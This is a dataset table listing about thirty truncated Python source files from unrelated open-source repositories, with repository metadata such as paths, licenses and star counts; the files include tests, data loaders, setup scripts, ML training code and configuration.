hexsha stringlengths 40 40 | size int64 4 1.02M | ext stringclasses 8
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 209 | max_stars_repo_name stringlengths 5 121 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 209 | max_issues_repo_name stringlengths 5 121 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 209 | max_forks_repo_name stringlengths 5 121 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 4 1.02M | avg_line_length float64 1.07 66.1k | max_line_length int64 4 266k | alphanum_fraction float64 0.01 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9eca13d83542dee571b86909b5bbdd623047cd4a | 1,091 | py | Python | tests/test_timed.py | luis-puhl/minas-py | 7a665da366ab65bbb05b1713292492cf5ab4a859 | [
"MIT"
] | 4 | 2019-05-01T01:29:32.000Z | 2019-06-22T08:16:20.000Z | tests/test_timed.py | luis-puhl/minas-py | 7a665da366ab65bbb05b1713292492cf5ab4a859 | [
"MIT"
] | 3 | 2020-03-24T17:04:13.000Z | 2021-06-08T19:50:48.000Z | tests/test_timed.py | luis-puhl/minas-py | 7a665da366ab65bbb05b1713292492cf5ab4a859 | [
"MIT"
] | null | null | null | import unittest
import time
import inspect
import typing
import numpy as np
import pandas as pd
import matplotlib
import matplotlib.pyplot as plt
from minas.timed import Timed
class TimedFunctionsTest(unittest.TestCase):
def setUp(self):
self.tm = Timed()
def tearDown(self):
pass
de... | 23.717391 | 61 | 0.566453 |
dced02996c6cadaec264bd2fc9ed701f1f352e84 | 2,155 | py | Python | ProjectCode/DataLoader.py | levihedges/email-anomaly-tool | 22a409e5784a193a8d9bf175a03b8826a57872b4 | [
"CC0-1.0"
] | null | null | null | ProjectCode/DataLoader.py | levihedges/email-anomaly-tool | 22a409e5784a193a8d9bf175a03b8826a57872b4 | [
"CC0-1.0"
] | null | null | null | ProjectCode/DataLoader.py | levihedges/email-anomaly-tool | 22a409e5784a193a8d9bf175a03b8826a57872b4 | [
"CC0-1.0"
] | null | null | null | import elasticsearch
from elasticsearch import Elasticsearch
from elasticsearch import helpers
import pandas as pd
import numpy as np
class DataLoader:
def __init__(self, index, size, node):
self.index = index
self.size = size
self.node = node
def fetch_data(self):
try:
... | 35.327869 | 221 | 0.6 |
266d6d3155340817a0e55651d19bb6281d885ff7 | 3,469 | py | Python | tbot/web/handlers/api/twitch/connect_discord.py | thomaserlang/tbot | 99cfa204d86ef35cf2cc9482ae5a44abb35b443a | [
"MIT"
] | null | null | null | tbot/web/handlers/api/twitch/connect_discord.py | thomaserlang/tbot | 99cfa204d86ef35cf2cc9482ae5a44abb35b443a | [
"MIT"
] | 10 | 2022-02-14T11:40:20.000Z | 2022-03-09T22:44:03.000Z | tbot/web/handlers/api/twitch/connect_discord.py | thomaserlang/tbot | 99cfa204d86ef35cf2cc9482ae5a44abb35b443a | [
"MIT"
] | 1 | 2020-09-19T16:38:24.000Z | 2020-09-19T16:38:24.000Z | import logging, json, base64
from tornado import web, httpclient, escape
from urllib import parse
from tbot import config, utils
from ..base import Base_handler, Api_handler, Level
class Handler(Api_handler):
@Level(3)
async def get(self, channel_id):
r = await self.db.fetchone(
'SELECT di... | 40.811765 | 138 | 0.600749 |
694400dac07b3bcf5518425ba5e076d1603d1ddc | 1,584 | py | Python | setup.py | nemesgyadam/easyimages | 79d27288be3c72d4d987312c108a1b2fb952b3ae | [
"MIT"
] | 12 | 2018-08-28T18:52:46.000Z | 2021-12-20T02:30:18.000Z | setup.py | nemesgyadam/easyimages | 79d27288be3c72d4d987312c108a1b2fb952b3ae | [
"MIT"
] | 1 | 2020-08-06T16:05:37.000Z | 2020-08-18T12:52:42.000Z | setup.py | nemesgyadam/easyimages | 79d27288be3c72d4d987312c108a1b2fb952b3ae | [
"MIT"
] | 1 | 2021-05-10T12:32:02.000Z | 2021-05-10T12:32:02.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""The setup script."""
from setuptools import setup, find_packages
try: # for pip >= 10
from pip._internal.req import parse_requirements
except ImportError: # for pip < 10
from pip.req import parse_requirements
import os
__version__ = '1.91'
with open('READM... | 27.789474 | 59 | 0.672348 |
b60c96a04618483025dc998f4f7d0c0db552a971 | 1,992 | py | Python | tests/emmet-core/molecules/test_orbitals.py | acrutt/emmet | e98100c9932f145a3ad3087ddb7aa9b779d9a191 | [
"BSD-3-Clause-LBNL"
] | null | null | null | tests/emmet-core/molecules/test_orbitals.py | acrutt/emmet | e98100c9932f145a3ad3087ddb7aa9b779d9a191 | [
"BSD-3-Clause-LBNL"
] | null | null | null | tests/emmet-core/molecules/test_orbitals.py | acrutt/emmet | e98100c9932f145a3ad3087ddb7aa9b779d9a191 | [
"BSD-3-Clause-LBNL"
] | null | null | null | import json
import datetime
import copy
import pytest
from monty.io import zopen
from monty.serialization import loadfn
from emmet.core.qchem.task import TaskDocument
from emmet.core.molecules.orbitals import OrbitalDoc
@pytest.fixture(scope="session")
def closed_shell(test_dir):
task = TaskDocument(**loadfn((... | 33.762712 | 79 | 0.746486 |
55e0c2067304fcc6233350d95f98468c43de65ae | 7,661 | py | Python | python_modules/dagster/dagster/core/storage/local_compute_log_manager.py | basilvetas/dagster | b08f5534a0b0277dab38cb7b6a46d324e94b8940 | [
"Apache-2.0"
] | 2 | 2021-06-21T17:50:26.000Z | 2021-06-21T19:14:23.000Z | python_modules/dagster/dagster/core/storage/local_compute_log_manager.py | basilvetas/dagster | b08f5534a0b0277dab38cb7b6a46d324e94b8940 | [
"Apache-2.0"
] | null | null | null | python_modules/dagster/dagster/core/storage/local_compute_log_manager.py | basilvetas/dagster | b08f5534a0b0277dab38cb7b6a46d324e94b8940 | [
"Apache-2.0"
] | 1 | 2021-08-18T17:21:57.000Z | 2021-08-18T17:21:57.000Z | import hashlib
import os
import sys
from collections import defaultdict
from contextlib import contextmanager
from dagster import StringSource, check
from dagster.core.execution.compute_logs import mirror_stream_to_file
from dagster.core.storage.pipeline_run import PipelineRun
from dagster.serdes import ConfigurableCl... | 37.553922 | 100 | 0.693904 |
a8dfbdcdcd58c724e2f83ef95c568513ae644765 | 14,829 | py | Python | warn_transformer/integrate.py | biglocalnews/warn-transformer | daefc8835ed369e19838410d4c94950c43800d1e | [
"Apache-2.0"
] | 3 | 2022-02-18T22:21:00.000Z | 2022-03-24T21:24:29.000Z | warn_transformer/integrate.py | biglocalnews/warn-transformer | daefc8835ed369e19838410d4c94950c43800d1e | [
"Apache-2.0"
] | 20 | 2022-02-20T01:00:07.000Z | 2022-03-25T18:18:56.000Z | warn_transformer/integrate.py | biglocalnews/warn-transformer | daefc8835ed369e19838410d4c94950c43800d1e | [
"Apache-2.0"
] | 2 | 2022-02-25T02:50:00.000Z | 2022-03-14T16:32:22.000Z | import csv
import json
import logging
import typing
from collections import defaultdict
from datetime import datetime, timezone
from itertools import chain
from operator import itemgetter
from pathlib import Path
import jellyfish
import requests
from . import utils
logger = logging.getLogger(__name__)
def run(
... | 37.44697 | 125 | 0.661609 |
1ccec519a3c18a0c6360a09ce15dbedf892eea16 | 316 | py | Python | src/sima/post/amplitudetype.py | SINTEF/simapy | 650b8c2f15503dad98e2bfc0d0788509593822c7 | [
"MIT"
] | null | null | null | src/sima/post/amplitudetype.py | SINTEF/simapy | 650b8c2f15503dad98e2bfc0d0788509593822c7 | [
"MIT"
] | null | null | null | src/sima/post/amplitudetype.py | SINTEF/simapy | 650b8c2f15503dad98e2bfc0d0788509593822c7 | [
"MIT"
] | null | null | null | # Generated with AmplitudeType
#
from enum import Enum
from enum import auto
class AmplitudeType(Enum):
""""""
SINGLE = auto()
DOUBLE = auto()
def label(self):
if self == AmplitudeType.SINGLE:
return "Single"
if self == AmplitudeType.DOUBLE:
return "Double" | 21.066667 | 40 | 0.601266 |
5056b3043cbaae1cff67c740cb1f9c3392c1c1f9 | 364 | py | Python | rustplus/api/structures/__init__.py | nesttle/rustplus | 0149a7126672abe6917b21c6209bdefbe7fcc346 | [
"MIT"
] | null | null | null | rustplus/api/structures/__init__.py | nesttle/rustplus | 0149a7126672abe6917b21c6209bdefbe7fcc346 | [
"MIT"
] | null | null | null | rustplus/api/structures/__init__.py | nesttle/rustplus | 0149a7126672abe6917b21c6209bdefbe7fcc346 | [
"MIT"
] | null | null | null | from .rust_time import RustTime
from .rust_info import RustInfo
from .rust_map import RustMap
from .rust_marker import RustMarker
from .rust_chat_message import RustChatMessage
from .rust_team_info import RustTeamInfo, RustTeamMember, RustTeamNote
from .rust_entity_info import RustEntityInfo
from .rust_contents import ... | 40.444444 | 70 | 0.868132 |
a73eeb122a5e04dc2ddcc760e2c77a6b81be6f10 | 4,889 | py | Python | docs/experiments/object_reach_stable_baselines.py | irivers29/robo-gym | d4672e80f3d0ba1c6fc8c4624dd8461ad4551d1b | [
"MIT"
] | null | null | null | docs/experiments/object_reach_stable_baselines.py | irivers29/robo-gym | d4672e80f3d0ba1c6fc8c4624dd8461ad4551d1b | [
"MIT"
] | null | null | null | docs/experiments/object_reach_stable_baselines.py | irivers29/robo-gym | d4672e80f3d0ba1c6fc8c4624dd8461ad4551d1b | [
"MIT"
] | null | null | null | from asyncio.constants import LOG_THRESHOLD_FOR_CONNLOST_WRITES
import time
import argparse
import os
import datetime
import gym
from matplotlib.pyplot import plot
import robo_gym
from robo_gym.wrappers.exception_handling import ExceptionHandling
import numpy as np
import torch
from stable_baselines3 import TD3
from ... | 37.320611 | 131 | 0.682962 |
724bfac8bcc446adf31c991e350e4318023227bc | 754 | py | Python | vmapp/domains/admin.py | codeasap-pl/vmapp | dd845dcb6b49f06ac635d019139453137e20b548 | [
"MIT"
] | null | null | null | vmapp/domains/admin.py | codeasap-pl/vmapp | dd845dcb6b49f06ac635d019139453137e20b548 | [
"MIT"
] | null | null | null | vmapp/domains/admin.py | codeasap-pl/vmapp | dd845dcb6b49f06ac635d019139453137e20b548 | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.db.models import Q, Count
from .models import Domain
@admin.register(Domain)
class DomainAdmin(admin.ModelAdmin):
list_display = (
"domain", "is_enabled", "total_users", "total_active_users",
"ctime", "mtime"
)
def get_queryset(self, request):
... | 23.5625 | 68 | 0.582228 |
b662ce7645f5992160cc11571529ef29e5a3d6fd | 8,593 | py | Python | train_qanet.py | zichuan-scott-xu/cs224n_squad | 29f48c256a2eddd940010d2a408307fee80de52d | [
"MIT"
] | null | null | null | train_qanet.py | zichuan-scott-xu/cs224n_squad | 29f48c256a2eddd940010d2a408307fee80de52d | [
"MIT"
] | null | null | null | train_qanet.py | zichuan-scott-xu/cs224n_squad | 29f48c256a2eddd940010d2a408307fee80de52d | [
"MIT"
] | null | null | null | """Train a model on SQuAD.
Author:
Chris Chute (chute@stanford.edu)
"""
import numpy as np
import random
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import torch.optim.lr_scheduler as sched
import torch.utils.data as data
import util
import math
from args import... | 38.533632 | 106 | 0.546259 |
8f4d5430a8bf4c6f245db4ffe45907bb026f0de6 | 1,474 | py | Python | libs/glew/glew.py | gitdevmod/craft-blueprints-kde | 81a866d2d606dabd57347fbac7cdab42979332dd | [
"BSD-2-Clause"
] | 14 | 2017-09-04T09:01:03.000Z | 2022-01-04T20:09:00.000Z | libs/glew/glew.py | gitdevmod/craft-blueprints-kde | 81a866d2d606dabd57347fbac7cdab42979332dd | [
"BSD-2-Clause"
] | 14 | 2017-12-15T08:11:22.000Z | 2020-12-29T19:11:13.000Z | libs/glew/glew.py | gitdevmod/craft-blueprints-kde | 81a866d2d606dabd57347fbac7cdab42979332dd | [
"BSD-2-Clause"
] | 19 | 2017-09-05T19:16:21.000Z | 2020-10-18T12:46:06.000Z | # -*- coding: utf-8 -*-
import info
from Package.CMakePackageBase import *
class subinfo(info.infoclass):
def setTargets(self):
for ver in ['1.5.4', '1.7.0', '1.9.0', '1.10.0', '2.1.0', '2.2.0']:
self.targets[ver] = 'http://downloads.sourceforge.net/project/glew/glew/' + ver + '/glew-' + ver ... | 43.352941 | 118 | 0.641113 |
24c0a87b14d812e75ccaf8cfc5cde2bf8a616ead | 39,067 | py | Python | release/scripts/addons_contrib/space_view3d_align_tools.py | BlazesRus/Bforartists | 126bdd9e47cc984fd97ba5299bfb92ec5278e754 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 1 | 2019-07-08T15:51:14.000Z | 2019-07-08T15:51:14.000Z | release/scripts/addons_contrib/space_view3d_align_tools.py | BlazesRus/Bforartists | 126bdd9e47cc984fd97ba5299bfb92ec5278e754 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | release/scripts/addons_contrib/space_view3d_align_tools.py | BlazesRus/Bforartists | 126bdd9e47cc984fd97ba5299bfb92ec5278e754 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | # -*- coding: utf-8 -*-
# ##### BEGIN GPL LICENSE BLOCK #####
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# ... | 33.390598 | 112 | 0.554151 |
d07feb2dcc06e10e3e2434b0b9d0348caa2d5e25 | 7,074 | py | Python | etrm/raster.py | dgketchum/etrm | f74f5771fbc6ba5750a790e384eac422b598325a | [
"Apache-2.0"
] | 1 | 2021-08-11T20:10:52.000Z | 2021-08-11T20:10:52.000Z | etrm/raster.py | dgketchum/etrm | f74f5771fbc6ba5750a790e384eac422b598325a | [
"Apache-2.0"
] | null | null | null | etrm/raster.py | dgketchum/etrm | f74f5771fbc6ba5750a790e384eac422b598325a | [
"Apache-2.0"
] | null | null | null | # ===============================================================================
# Copyright 2017 ross
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICE... | 29.722689 | 105 | 0.538027 |
aa21e2ed356e6e29df86bed8377d326b65f59281 | 5,238 | py | Python | checkmate/tf2/wrapper.py | hy00nc/checkmate | f3452a30dbf8d00c5ce9607712e335f39d2f6c5b | [
"Apache-2.0"
] | null | null | null | checkmate/tf2/wrapper.py | hy00nc/checkmate | f3452a30dbf8d00c5ce9607712e335f39d2f6c5b | [
"Apache-2.0"
] | null | null | null | checkmate/tf2/wrapper.py | hy00nc/checkmate | f3452a30dbf8d00c5ce9607712e335f39d2f6c5b | [
"Apache-2.0"
] | null | null | null | import logging
import subprocess
import psutil
import tensorflow as tf
from checkmate.core.solvers.strategy_chen import solve_chen_sqrtn
try:
from checkmate.core.solvers.gurobi_solver import solve_ilp_gurobi as solver
except:
try:
from checkmate.core.solvers.cvxpy_solver import solve_checkmate_cvxpy ... | 36.375 | 111 | 0.695494 |
70ffa549a57dba66d9a52f4fb61aeb45383fbb50 | 45,534 | py | Python | src/pipeline_pre.py | scaomath/BCAI_kaggle_CHAMPS | 4a42e18b5b88043fb40ec15289216a1d88789698 | [
"MIT"
] | 108 | 2019-09-13T15:06:08.000Z | 2022-03-10T08:27:54.000Z | src/pipeline_pre.py | scaomath/BCAI_kaggle_CHAMPS | 4a42e18b5b88043fb40ec15289216a1d88789698 | [
"MIT"
] | 1 | 2020-11-19T09:29:14.000Z | 2020-11-19T09:29:14.000Z | src/pipeline_pre.py | scaomath/BCAI_kaggle_CHAMPS | 4a42e18b5b88043fb40ec15289216a1d88789698 | [
"MIT"
] | 31 | 2019-09-13T15:06:23.000Z | 2022-02-10T14:51:43.000Z | #!/usr/bin/env python
## Copyright (c) 2017 Robert Bosch GmbH
## All rights reserved.
##
## This source code is licensed under the MIT license found in the
## LICENSE file in the root directory of this source tree.
import collections
import gzip
import itertools
import json
import os
import pickle
import sys
import ... | 50.258278 | 198 | 0.616243 |
99babed8f7673d415f49f279dbcc93e6a09553e5 | 27,053 | py | Python | tests/test_blob_encryption.py | rajrohith/blobstore | 92c3a172895fb2ad46f7a34281976fe33f72e47e | [
"Apache-2.0"
] | null | null | null | tests/test_blob_encryption.py | rajrohith/blobstore | 92c3a172895fb2ad46f7a34281976fe33f72e47e | [
"Apache-2.0"
] | null | null | null | tests/test_blob_encryption.py | rajrohith/blobstore | 92c3a172895fb2ad46f7a34281976fe33f72e47e | [
"Apache-2.0"
] | null | null | null | #-------------------------------------------------------------------------
# Copyright (c) Microsoft. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apac... | 38.102817 | 114 | 0.664363 |
fc184214e1feaba6e4e69a1fc60fcee1b15fb6bd | 3,962 | py | Python | tests/test_backbones/test_vgg.py | agim-a/mmclassification | b56fde1957edccf610a3ce06f0b8b346cb387112 | [
"Apache-2.0"
] | 31 | 2020-11-14T02:47:54.000Z | 2021-12-14T06:26:10.000Z | tests/test_backbones/test_vgg.py | ly015/mmclassification | f355f15485d77a6adebc62ac860e35786e7a1d76 | [
"Apache-2.0"
] | 2 | 2020-09-01T00:53:39.000Z | 2022-01-27T20:26:11.000Z | tests/test_backbones/test_vgg.py | ly015/mmclassification | f355f15485d77a6adebc62ac860e35786e7a1d76 | [
"Apache-2.0"
] | 4 | 2021-01-14T18:12:38.000Z | 2021-11-11T11:46:50.000Z | import pytest
import torch
from mmcv.utils.parrots_wrapper import _BatchNorm
from mmcls.models.backbones import VGG
def check_norm_state(modules, train_state):
"""Check if norm layer is in correct train state."""
for mod in modules:
if isinstance(mod, _BatchNorm):
if mod.training != train... | 28.919708 | 74 | 0.587582 |
ef2d8a019c5283f2cc38949b504ec94a60927b92 | 292 | py | Python | st3/yamlmacros/src/macro_error.py | Thom1729/yaml-macros-engine | f2cbdaf4d4300c842c6a6c954dceb626e3942316 | [
"MIT"
] | null | null | null | st3/yamlmacros/src/macro_error.py | Thom1729/yaml-macros-engine | f2cbdaf4d4300c842c6a6c954dceb626e3942316 | [
"MIT"
] | null | null | null | st3/yamlmacros/src/macro_error.py | Thom1729/yaml-macros-engine | f2cbdaf4d4300c842c6a6c954dceb626e3942316 | [
"MIT"
] | null | null | null | from ruamel.yaml import Node
from .types import ContextType
__all__ = ['MacroError']
class MacroError(Exception):
def __init__(self, message: str, node: Node, context: ContextType = None) -> None:
self.message = message
self.node = node
self.context = context
| 22.461538 | 86 | 0.678082 |
15cd993002db74bf1ee0d6b6b7ec3168075d3fee | 5,939 | py | Python | sqlalchemy_trino/datatype.py | erikerlandson/sqlalchemy-trino | 29020cdcaf72531418f8dfb7b9b833ccb8b1a567 | [
"Apache-2.0"
] | 20 | 2021-01-22T14:04:31.000Z | 2022-03-30T06:42:00.000Z | sqlalchemy_trino/datatype.py | erikerlandson/sqlalchemy-trino | 29020cdcaf72531418f8dfb7b9b833ccb8b1a567 | [
"Apache-2.0"
] | 37 | 2021-02-26T02:41:12.000Z | 2022-01-26T17:15:51.000Z | sqlalchemy_trino/datatype.py | erikerlandson/sqlalchemy-trino | 29020cdcaf72531418f8dfb7b9b833ccb8b1a567 | [
"Apache-2.0"
] | 19 | 2021-04-14T20:41:49.000Z | 2022-02-09T14:13:53.000Z | import re
from typing import *
from sqlalchemy import util
from sqlalchemy.sql import sqltypes
from sqlalchemy.sql.type_api import TypeEngine
SQLType = Union[TypeEngine, Type[TypeEngine]]
class DOUBLE(sqltypes.Float):
__visit_name__ = "DOUBLE"
class MAP(TypeEngine):
__visit_name__ = "MAP"
def __init_... | 31.759358 | 91 | 0.609025 |
9be7d3f58111f1edc3611c4f749df33fde08b03e | 3,254 | py | Python | Agents/VIPAgent/setup.py | Entek-Technical-Services/BEMOSS3.5 | 581a205b4129530474a5ceee93cb36ef62992d4c | [
"BSD-3-Clause"
] | 73 | 2017-07-11T21:46:41.000Z | 2022-03-11T03:35:25.000Z | Agents/VIPAgent/setup.py | Entek-Technical-Services/BEMOSS3.5 | 581a205b4129530474a5ceee93cb36ef62992d4c | [
"BSD-3-Clause"
] | 19 | 2017-10-10T22:06:15.000Z | 2022-03-28T21:03:33.000Z | Agents/VIPAgent/setup.py | Entek-Technical-Services/BEMOSS3.5 | 581a205b4129530474a5ceee93cb36ef62992d4c | [
"BSD-3-Clause"
] | 36 | 2017-06-24T00:17:03.000Z | 2022-03-31T13:58:36.000Z | # -*- coding: utf-8 -*- {{{
# vim: set fenc=utf-8 ft=python sw=4 ts=4 sts=4 et:
# Copyright (c) 2015, Battelle Memorial Institute
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistri... | 42.815789 | 72 | 0.762139 |
4e1a25c0fad91252d6ed79dd4b207f03feb3775d | 23,877 | py | Python | CFG/testbed-TSN.py | abacuspix/NFV_project | f5585a6750119b1f954fea65c37a14badad1fd62 | [
"MIT"
] | null | null | null | CFG/testbed-TSN.py | abacuspix/NFV_project | f5585a6750119b1f954fea65c37a14badad1fd62 | [
"MIT"
] | null | null | null | CFG/testbed-TSN.py | abacuspix/NFV_project | f5585a6750119b1f954fea65c37a14badad1fd62 | [
"MIT"
] | null | null | null | from fabric.api import env
#Management ip addresses of hosts in the cluster
host1 = 'root@17.1.1.231'
host2 = 'root@17.1.1.232'
host3 = 'root@17.1.1.233'
host4 = 'root@17.1.1.234'
#host5 = 'root@1.1.1.5'
#host6 = 'root@1.1.1.6'
#host7 = 'root@1.1.1.7'
#host8 = 'root@1.1.1.8'
#host9 = 'root@1.1.1.9'
#host10 = 'root@1.1... | 44.463687 | 186 | 0.637769 |
78ce4fd09d550c82993fa65822995e5fa9c3153f | 2,638 | py | Python | examples/adspygoogle/dfp/v201208/update_placements.py | krux/adspygoogle | 6505a71122f45fe3e675f27f2c29f67a1768069b | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | examples/adspygoogle/dfp/v201208/update_placements.py | krux/adspygoogle | 6505a71122f45fe3e675f27f2c29f67a1768069b | [
"Apache-2.0",
"BSD-3-Clause"
] | null | null | null | examples/adspygoogle/dfp/v201208/update_placements.py | krux/adspygoogle | 6505a71122f45fe3e675f27f2c29f67a1768069b | [
"Apache-2.0",
"BSD-3-Clause"
] | 2 | 2020-04-02T19:00:31.000Z | 2020-08-06T03:28:38.000Z | #!/usr/bin/python
#
# Copyright 2012 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required b... | 35.648649 | 80 | 0.720243 |
a6b1b256a5b669536fe3eccdd5e397027ecb1931 | 2,348 | py | Python | fits/ShowHeader.py | sniemi/SamPy | e048756feca67197cf5f995afd7d75d8286e017b | [
"BSD-2-Clause"
] | 5 | 2016-05-28T14:12:28.000Z | 2021-04-22T10:23:12.000Z | fits/ShowHeader.py | sniemi/SamPy | e048756feca67197cf5f995afd7d75d8286e017b | [
"BSD-2-Clause"
] | null | null | null | fits/ShowHeader.py | sniemi/SamPy | e048756feca67197cf5f995afd7d75d8286e017b | [
"BSD-2-Clause"
] | 2 | 2015-07-13T10:04:10.000Z | 2021-04-22T10:23:23.000Z | """
Extremely simple script that prints out a FITS header to stdout.
Defaults to the 0th extension if not specified.
Accepts wildcard in the name, but then the filename must be given inside quote marks i.e. "*.fits"
:date: Mar 27, 2009
:author: Sami-Matias Niemi
:contact: sniemi@email.unc.edu
"""
import sys
import p... | 26.088889 | 107 | 0.61201 |
80477249a567d1c8be69e4196d8693e9c474c1ed | 85 | py | Python | alchemist_lib/broker/__init__.py | Dodo33/alchemist-lib | 40c2d3b48d5f46315eb09e7f572d578b7e5324b4 | [
"MIT"
] | 5 | 2018-07-11T05:38:51.000Z | 2021-12-19T03:06:51.000Z | alchemist_lib/broker/__init__.py | Dodo33/alchemist-lib | 40c2d3b48d5f46315eb09e7f572d578b7e5324b4 | [
"MIT"
] | null | null | null | alchemist_lib/broker/__init__.py | Dodo33/alchemist-lib | 40c2d3b48d5f46315eb09e7f572d578b7e5324b4 | [
"MIT"
] | 2 | 2019-07-12T08:51:11.000Z | 2021-09-29T22:22:46.000Z | from .poloniexbroker import PoloniexBroker
from .bittrexbroker import BittrexBroker
| 21.25 | 42 | 0.870588 |
41ea2b9c5a86e4ad3b8eb7571cdc243704514c62 | 795 | py | Python | canopy/load_config.py | CanopySimulations/canopy-python | 9ec37e674e65d6fbef0402ac0c612c163d55631e | [
"MIT"
] | null | null | null | canopy/load_config.py | CanopySimulations/canopy-python | 9ec37e674e65d6fbef0402ac0c612c163d55631e | [
"MIT"
] | 1 | 2022-01-31T10:18:08.000Z | 2022-01-31T10:18:08.000Z | canopy/load_config.py | CanopySimulations/canopy-python | 9ec37e674e65d6fbef0402ac0c612c163d55631e | [
"MIT"
] | null | null | null | from typing import Optional
import canopy
async def load_config(
session: canopy.Session,
config_id: str,
tenant_id: Optional[str] = None,
sub_tree_path: Optional[str] = None,
sim_version: Optional[str] = None) -> canopy.ConfigResult:
session.authentication.authenticate()... | 29.444444 | 92 | 0.703145 |
43bc52c78a2510151693809f7fe4c68ded6ddcc4 | 2,347 | py | Python | line_chart.py | atik2002/HackCBS4.0 | bb0f954bacf3047e3d0856a42de83cecf8758bb1 | [
"MIT"
] | null | null | null | line_chart.py | atik2002/HackCBS4.0 | bb0f954bacf3047e3d0856a42de83cecf8758bb1 | [
"MIT"
] | null | null | null | line_chart.py | atik2002/HackCBS4.0 | bb0f954bacf3047e3d0856a42de83cecf8758bb1 | [
"MIT"
] | null | null | null | import pandas as pd
import plotly.express as px
import numpy as np
'''
def data_clean(state, city):
state_name=state
city_name=city
dfa=pd.read_csv(f"data/ahs-cab2014-{state_name.lower()}-{city_name.lower()}.csv")
s=["state_code","district_code","rural_urban","stratum","test_salt_iodine","record_code_... | 61.763158 | 732 | 0.757989 |
1baaad6877c54891d04b4a077b8b9564d2ef383f | 2,856 | py | Python | tdmelodic/filters/postprocess_modify_unigram_cost.py | tachi-hi/tdmelodic | 9b146c9c788eb730855376c86a8b0eab4d8438ca | [
"BSD-3-Clause"
] | 73 | 2020-09-18T06:37:11.000Z | 2022-03-15T12:40:47.000Z | tdmelodic/filters/postprocess_modify_unigram_cost.py | tachi-hi/tdmelodic | 9b146c9c788eb730855376c86a8b0eab4d8438ca | [
"BSD-3-Clause"
] | 4 | 2021-02-06T14:52:39.000Z | 2021-11-04T10:02:45.000Z | tdmelodic/filters/postprocess_modify_unigram_cost.py | tachi-hi/tdmelodic | 9b146c9c788eb730855376c86a8b0eab4d8438ca | [
"BSD-3-Clause"
] | 9 | 2020-09-18T14:49:15.000Z | 2022-03-18T02:53:54.000Z | # -----------------------------------------------------------------------------
# Copyright (c) 2019-, PKSHA Technology Inc.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree.
# --------------------------------------... | 29.75 | 109 | 0.573529 |
7cde1a5689e1e8bb5a38e43a03c47de725e697fe | 682 | py | Python | venv/lib/python3.8/site-packages/django/conf/locale/ga/formats.py | Joshua-Barawa/My-Photos | adcaea48149c6b31e9559b045709d538d0b749bc | [
"PostgreSQL",
"Unlicense"
] | 16 | 2019-08-10T12:24:06.000Z | 2020-05-21T09:11:14.000Z | venv/lib/python3.8/site-packages/django/conf/locale/ga/formats.py | Joshua-Barawa/My-Photos | adcaea48149c6b31e9559b045709d538d0b749bc | [
"PostgreSQL",
"Unlicense"
] | 12 | 2019-08-10T11:55:29.000Z | 2020-05-21T04:46:30.000Z | venv/lib/python3.8/site-packages/django/conf/locale/ga/formats.py | Joshua-Barawa/My-Photos | adcaea48149c6b31e9559b045709d538d0b749bc | [
"PostgreSQL",
"Unlicense"
] | 4 | 2022-03-12T10:17:00.000Z | 2022-03-26T08:40:43.000Z | # This file is distributed under the same license as the Django package.
#
# The *_FORMAT strings use the Django date format syntax,
# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = "j F Y"
TIME_FORMAT = "H:i"
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = "j F"
SHORT... | 31 | 78 | 0.766862 |
4c591f76f4480b03bfa938e5d06a60c86d868dce | 1,512 | py | Python | behavioral_patterns/pub;ish_subscribe/app.py | Stihotvor/python3_patterns | 01627a2506d81982d9805ff6b1cda14ba214ee2e | [
"MIT"
] | null | null | null | behavioral_patterns/pub;ish_subscribe/app.py | Stihotvor/python3_patterns | 01627a2506d81982d9805ff6b1cda14ba214ee2e | [
"MIT"
] | null | null | null | behavioral_patterns/pub;ish_subscribe/app.py | Stihotvor/python3_patterns | 01627a2506d81982d9805ff6b1cda14ba214ee2e | [
"MIT"
] | null | null | null | from publisher import Publisher
from subscriber import Subscriber
class Broker:
def __init__(self):
self.topics = set()
self.subscriptions = {}
self.message_queue = {}
def create_topic(self, topic_name):
self.topics.add(topic_name)
def subscribe(self, sub_name, topic_name... | 30.24 | 74 | 0.628968 |
